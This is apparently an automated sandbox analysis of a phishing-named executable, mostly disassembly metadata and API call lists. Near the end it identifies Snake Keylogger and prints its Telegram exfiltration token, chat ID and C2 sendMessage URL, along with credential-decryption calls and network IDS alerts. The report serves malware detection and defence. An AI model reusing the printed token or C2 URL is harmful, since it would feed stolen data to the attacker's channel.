Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00402331 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(0040A580,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.ADVAPI32(?,?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,0040A580,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
Opcode Fuzzy Hash: a8bbc55d30affaabc6cd86b2271235a8e32791a35e6a6594074806b6736fc700
Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

Function 004015B9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,00436800,?,76232EE0,00405792,?,00436800,76232EE0,00434000), ref: 004059EE
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B

CreateDirectoryW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNEL32(?,00435000,?,00000000,000000F0), ref: 00401630

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
Opcode Fuzzy Hash: ab4beae8261b44de63f604e0a73f5b1755ddd155d8cc8e63c414e47e0b3a8ad9
Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Part of subcall function 00405665: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
Opcode Fuzzy Hash: d15ae0a482c79c0d8e7c95f8c2190dddee124483964ec219d5696f0573d40edc
Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99

Function 00405108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405137
CallWindowProcW.USER32(?,?,?,?), ref: 00405188

Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D

Strings

, xrefs: 00405118

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69

Function 00405B85 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405BA3
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403358,00436000,00436800), ref: 00405BBE

Strings

nsa, xrefs: 00405B92

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64

Function 00405665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
CloseHandle.KERNEL32(?), ref: 00405697

Strings

Error launching installer, xrefs: 00405678

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D

Function 00406974 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00406B75 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44

Function 0040688B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44

Function 00406390 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44

Function 004067DE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54

Function 004068FC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44

Function 00406848 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44

Function 00161A18 Relevance: 5.1, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

F, xrefs: 00161B64
F, xrefs: 00161B47
F, xrefs: 00161B10
F, xrefs: 00161A47

Memory Dump Source

Source File: 00000004.00000002.3978289968.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID: F$F$F$F
API String ID: 0-1844600021
Opcode ID: 0110b39e6dab6b9389c04f68a40d8b5a8116aa9990cc1186fa134098528a327d
Instruction ID: 12ca08e288a09795c3c7c1ce1594615e61989d5c74bef59569864a92b21e7945
Opcode Fuzzy Hash: 0110b39e6dab6b9389c04f68a40d8b5a8116aa9990cc1186fa134098528a327d
Instruction Fuzzy Hash: 90418274A05249DFCB09EFF8C8416AEBBB2EF86300F104569E005AB355DB756E46CF91

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 00000004.00000002.3978540538.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3978523778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978558686.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978580863.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3978607229.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Source: 00000004.00000002.4005076815.0000000037561000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s", "Chat_id": "2065242915", "Version": "4.4"}
Source: Request for Quote and Collaboration Docs.exe.6484.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendMessage"}

Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398C8780 CryptUnprotectData,		4_2_398C8780
Source: C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe	Code function: 4_2_398C8EF1 CryptUnprotectData,		4_2_398C8EF1

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49934 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49952 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49976 -> 172.67.177.134:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49981 -> 172.67.177.134:443
